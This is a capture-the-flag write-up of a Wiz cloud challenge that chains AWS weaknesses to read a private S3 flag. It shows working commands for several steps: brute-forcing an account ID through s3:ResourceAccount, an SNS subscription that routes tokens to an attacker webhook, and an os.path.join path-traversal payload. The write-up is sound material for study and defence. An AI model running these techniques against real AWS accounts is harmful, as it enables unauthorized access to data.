Happy Birthday S3 CTF: Multi-Service AWS Exploitation Chain

Challenge: Happy Birthday S3

Author: Nir Ohfeld & Scott Piper

Platform: Wiz Cloud Security Championship

Category: Cloud Security / Serverless

Reading Time: 18 min

Challenge Brief

To celebrate Amazon S3's 20th birthday, the Wiz Cloud Security Championship presented a serverless AWS application — a birthday party invitation website. Players were given a CTF box with AWS credentials and a downloadable ZIP of Lambda source code and IAM/SNS policies.

Hint 1: The invitation form only accepts company emails. But does it really validate what you submit?

Hint 2: Look closely at everything the server sends back. There's useful metadata in the response.

Hint 3: API Gateways validate requests. Lambda functions don't always do the same.

We're given a CTF box with AWS CLI credentials, an assumable IAM role, and a ZIP containing Lambda source code and IAM/SNS policies. The target is a birthday party invitation site at happybirthday.cloudsecuritychampionship.com.

Architecture

The application consisted of five AWS services working together:

Service Role
CloudFront Static frontend at happybirthday.cloudsecuritychampionship.com
API Gateway (x2) [APIGW-1] (with schema validation) and [APIGW-2] (no validation)
Lambda GenerateBirthdayCard — handles email generation and card registration
SNS Topic BirthdayPartyInvites — publishes invitation tokens
S3 (x2) wiz-birthday-s3-party (public, hosts site + cards) and happy-birthday-private (templates + flag)

CTF Box Environment

The CTF box provided AWS credentials and a role configuration:

# ~/.aws/credentials
[default]
aws_access_key_id = AKIA********************
aws_secret_access_key = ****************************************

# ~/.aws/config
[profile role]
role_arn = arn:aws:iam:::role/user-role   # NOTE: account ID is MISSING
source_profile = default

Two identities were available:

  • Base user: arn:aws:iam::[CTF-USER-ACCT]:user/user
  • Assumable role: arn:aws:iam::[CTF-USER-ACCT]:role/user-role (account ID had to be inferred)

Phase 1: Account ID Discovery with s3recon

This was the critical breakthrough. Early investigation had extracted [WRONG-ACCT] from SNS error messages — but this was the wrong account. Every attempt using this account ID failed for over a week across 7 sessions.

The real technique: using s3recon to brute-force the bucket owner's account ID via the s3:ResourceAccount IAM condition key with wildcard matching. This reduces a 12-digit brute force from 1012 to just 120 requests:

$ python3 -m s3recon.cli \
  --role arn:aws:iam::[CTF-USER-ACCT]:role/user-role \
  --bucket wiz-birthday-s3-party/index.html

Account ID: [TARGET-ACCT]

How s3recon Works

It assumes your role with an inline session policy restricting s3:ResourceAccount to a wildcard like 3*, 37*, 370*, etc. If the request succeeds, that digit is correct.

Phase 2: SNS Subscription via HTTPS Bypass

The SNS topic policy used a StringLike condition that only checks the endpoint string ends with @cloudsecuritychampionship.com:

"Condition": {
  "StringLike": {
    "sns:Endpoint": "*@cloudsecuritychampionship.com"
  }
}

By appending a query parameter, a webhook.site URL satisfies the condition while routing to a controlled endpoint:

# Use BASE USER credentials (not the role!)
# The role's identity policy blocks sns:Subscribe,
# but the base user succeeds when the resource policy permits

$ unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

$ aws sns subscribe \
  --topic-arn "arn:aws:sns:us-east-1:[TARGET-ACCT]:BirthdayPartyInvites" \
  --protocol https \
  --notification-endpoint "https://webhook.site/${WEBHOOK_UUID}?x=@cloudsecuritychampionship.com" \
  --region us-east-1

{"SubscriptionArn": "pending confirmation"}

Reading the Error Messages

The error messages told us exactly what was happening at each step:

  • Against [WRONG-ACCT]: "no resource-based policy allows" — wrong account, topic doesn't exist here
  • Role against [TARGET-ACCT]: "no identity-based policy allows" — right account, but role lacks permission
  • Base user against [TARGET-ACCT]: Success — resource policy accepts, identity policy permits

Phase 3: Token Capture

After confirming the SNS subscription via the webhook URL, triggering token generation was straightforward:

$ curl -s -X POST \
  https://[APIGW-1].execute-api.us-east-1.amazonaws.com/prod/generate \
  -H "Content-Type: application/json" \
  -d '{"email":"test@cloudsecuritychampionship.com"}'

The token arrived at the webhook as an SNS Notification:

{
  "token": "[REDACTED-TOKEN]",
  "registration_url": "https://happybirthday.cloudsecuritychampionship.com/register.html?token=...",
  "generated_by": "GenerateBirthdayCard"
}

Phase 4: Path Traversal via os.path.join()

The Lambda's _read_template() function constructs the S3 key like this:

key = os.path.join("templates", f"{template}.txt")

When template starts with /, Python's os.path.join() discards the first argument entirely:

  • os.path.join("templates", "birthday.txt")templates/birthday.txt
  • os.path.join("templates", "/flag.txt")/flag.txt

The Lambda only checks for .. in the path — absolute paths bypass the filter entirely. Using the [APIGW-2] API Gateway (no schema validation — Hint 3):

$ curl -s -X POST \
  https://[APIGW-2].execute-api.us-east-1.amazonaws.com/prod/register \
  -d '{"token":"[REDACTED-TOKEN]","template":"/flag","name":"mark"}'

{
  "status": "success",
  "message": "Registration complete! Here is your birthday card.",
  "card_url": "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/[REDACTED-UUID].html"
}

Phase 5: Flag Retrieval

$ curl -s "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/[REDACTED-UUID].html"

The flag was rendered inside the birthday card HTML, read from happy-birthday-private/flag.txt via the path traversal.

Flag

WIZ_CTF{REDACTED}

Complete Attack Chain

s3recon: Brute-force bucket owner account ID ([TARGET-ACCT])
    |
    v
SNS Subscribe: HTTPS + query param bypass on StringLike condition
    |
    v
Confirm subscription via webhook.site, trigger /generate endpoint
    |
    v
Receive invitation token via SNS notification to webhook
    |
    v
API Gateway bypass: Use [APIGW-2] (no schema validation)
    |
    v
os.path.join() path traversal: template="/flag" reads from private bucket
    |
    v
Flag rendered in birthday card HTML

What Didn't Work (And Why)

Wrong Account ID (Sessions 1–7)

We extracted [WRONG-ACCT] from SNS AuthorizationError messages and spent over a week targeting it. Every Lambda invoke, SNS subscribe, and S3 access attempt failed. The real infrastructure was in [TARGET-ACCT], only discoverable via s3:ResourceAccount enumeration.

Email Delivery Attempts (Sessions 1–3)

Significant time was spent trying to receive SNS email subscriptions: cloudsecuritychampionship.com has no MX records, all SMTP ports on the CTF box were firewalled, and percent-encoding tricks in email addresses were treated as literal addresses by SNS. The HTTPS protocol with query param bypass was the intended path.

Lambda Direct Invocation (Sessions 1–6)

The resource policy showed Principal: "*" for lambda:InvokeFunction, but every attempt returned AccessDeniedException because we were targeting the wrong account. Lambda errors don't distinguish "function doesn't exist" from "policy denies you" — no existence oracle.

Token Brute Force / Forgery

HMAC validation is cryptographically sound. Without TOKEN_SECRET, token forgery is infeasible. The future-timestamp TTL bypass (negative result from time.time() - ts > 3600) was interesting but still required a valid HMAC.

Lessons Learned

  1. Account IDs matter more than you think. The entire challenge hinged on discovering the correct AWS account ID. All attacks were correctly designed but targeted the wrong account for a week.
  2. s3:ResourceAccount is a powerful enumeration primitive. Any S3 action can be used as an oracle to brute-force the owning account ID, reducing 1012 possibilities to 120 requests.
  3. Read the error messages carefully. The difference between "no identity-based policy" and "no resource-based policy" told us exactly what was wrong — we just needed to listen.
  4. StringLike wildcards in SNS policies don't validate semantics. A URL with ?x=@domain.com passes *@domain.com even though it's not an email.
  5. os.path.join() with absolute paths is a classic vulnerability. When the second argument starts with /, all previous path components are discarded. Checking only for .. is insufficient.
  6. The base user can sometimes do things the escalated role cannot. Different identity policies grant different permissions — don't assume escalation always helps.
  7. Two API Gateways can front the same Lambda with different validation. The [APIGW-2] endpoint had no schema validation, allowing arbitrary JSON to reach the Lambda directly.

Tools Used

Tool Purpose
s3recon AWS account ID discovery via s3:ResourceAccount wildcard brute-force
webhook.site HTTPS endpoint for SNS subscription confirmation and token delivery
AWS CLI v2 IAM role assumption, SNS subscribe, S3 operations
curl / jq API Gateway requests and JSON parsing

Timeline

Session Date Activity Outcome
1 Mar 30 Source code analysis, vulnerability mapping Identified all 5 vulns, started targeting wrong account
2 Apr 2 Email bypass attempts, percent-encoding Found validation bypass, couldn't receive email
3 Apr 5–6 Protocol injection, Content-Type bypass Confirmed API GW schema bypass on [APIGW-2]
4 Apr 7 Discovered ~/.aws/config, assumed user-role Found role but still wrong account for SNS
5–7 Apr 8–12 Credential enumeration, systematic testing Exhaustive permission testing, all cross-account denied
8 Apr 13 Reviewed s3recon approach Strategy pivot to account ID enumeration
9 Apr 13 Ran s3recon, discovered [TARGET-ACCT] SNS subscribe succeeded, token received, flag captured

Conclusion

The "Happy Birthday S3" challenge was a masterclass in multi-service AWS exploitation, chaining five vulnerabilities across four services. What made it particularly challenging was the account ID misdirection — error messages leaked an account ID that wasn't the one hosting the infrastructure. The intended solve required knowledge of the relatively obscure s3:ResourceAccount IAM condition key enumeration technique, which the organizers rightfully labeled "AI resistant."

The technical depth was impressive: from the subtle StringLike wildcard bypass in SNS policies, to the dual API Gateway configuration with different validation rules, to the classic os.path.join() path traversal. Each step required understanding a different AWS service's security model and how they interact.

Challenge created by Nir Ohfeld and Scott Piper as part of the Wiz Cloud Security Championship. Writeup completed: April 2026